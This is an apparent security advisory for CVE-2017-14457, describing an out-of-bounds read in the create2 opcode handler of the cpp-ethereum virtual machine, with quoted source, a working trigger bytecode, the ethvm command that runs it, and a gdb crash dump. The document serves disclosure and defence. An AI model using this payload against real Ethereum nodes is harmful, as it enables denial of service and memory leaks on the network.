CVE-2017-14457
An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability.
Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768
8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
CWE-125: Out-of-bounds Read
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the `create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.
The create2
opcode is currently associate with Constantinople
fork and its implementation looks as follows:
cpp-ethereum/libevm/VMCalls.cpp
Line 133 void VM::caseCreate()
Line 134 {
Line 135 m_bounce = &VM::interpretCases;
Line 136 m_runGas = toInt63(m_schedule->createGas);
Line 137 updateMem(memNeed(m_SP[1], m_SP[2]));
Line 138 updateIOGas();
Line 139
Line 140 auto const& endowment = m_SP[0];
Line 141 uint64_t initOff;
Line 142 uint64_t initSize;
Line 143 u256 salt;
Line 144 if (m_OP == Instruction::CREATE)
Line 145 {
Line 146 initOff = (uint64_t)m_SP[1];
Line 147 initSize = (uint64_t)m_SP[2];
Line 148 }
Line 149 else
Line 150 {
Line 151 salt = m_SP[1];
Line 152 initOff = (uint64_t)m_SP[2];
Line 153 initSize = (uint64_t)m_SP[3];
Line 154 }
Line 155
Line 156 // Clear the return data buffer. This will not free the memory.
Line 157 m_returnData.clear();
Line 158
Line 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)
Line 160 {
Line 161 *m_io_gas_p = m_io_gas;
Line 162 u256 createGas = *m_io_gas_p;
Line 163 if (!m_schedule->staticCallDepthLimit())
Line 164 createGas -= createGas / 64;
Line 165 u256 gas = createGas;
Line 166 h160 addr;
Line 167 owning_bytes_ref output;
Line 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);
In pseudo code we can represent the opcode handler as follows:
create2(endowment,salt,initOff,initSize)
Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory m_mem
at the specified offset.
In above code we can observe that 4th parameter initSize
represents size of the new contract code, it is read directly from input at line 153
and not sanitized in any way before it is used at line 168
.
At line 168
we see that a new object of type bytesConstRef
is created :
using bytesConstRef = vector_ref<byte const>;
libdevcore\vector_ref.h
Line 19 /**
Line 20 * A modifiable reference to an existing object or vector in memory.
Line 21 */
Line 22 template <class _T>
Line 23 class vector_ref
Line 24 {
(...)
Line 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data.
Line 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {}
The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem
and, as a size of this buffer, the initSize
variable.
As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer.
Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:
Line 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)
Line 325 {
Line 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));
Line 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);
Line 328 }
The corrupted object in the function above is passed as an _init
argument. The incorrect size of this object in that scenario can lead to:
- A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function
- A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker
as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.
Example of opcodes triggering this vulnerability:
67FFFFFFFFFFFFFFFF600160006000FB
disassembling we get:
67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size initSize
60 01 PUSH 1 // initOff
60 00 PUSH 0 // salt
60 00 PUSH 0 // endowment
FB CREATE2
Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin
(gdb) peda_active
gdb-peda$ context
[----------------------------------registers-----------------------------------]
RAX: 0xf
RBX: 0x798a6dbc7de82679
RCX: 0x1103ff1 --> 0x3f8000
RDX: 0x0
RSI: 0x8c887aede3bcb158
RDI: 0x23fe151d7b09c153
RBP: 0xe223193d3ce38d3f
RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82
RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1])
R8 : 0xb7239754a4040e21
R9 : 0x6c253a29078ce9a7
R10: 0xdea07427d1e5343
R11: 0x18
R12: 0xb22887a917e771ac
R13: 0x82bfafeff33273bb
R14: 0x7de51edb509fe189
R15: 0x8c6233ed3e52b5ca
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78]
0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87
0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>
=> 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]
0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl
0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1
0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>
0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82
0008| 0x7fffffffaac8 --> 0xae440eb455ebc604
0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158
0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d
0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca
0040| 0x7fffffffaae8 --> 0xb7239754a4040e21
0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7
0056| 0x7fffffffaaf8 --> 0x821ae124af601e76
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ bt
#0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
#1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171
#2 dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207
#3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218
#4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40
#5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326
#6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126
#7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169
#8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434
#10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320
#11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291
#12 0x0000000000413c09 in _start ()
2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.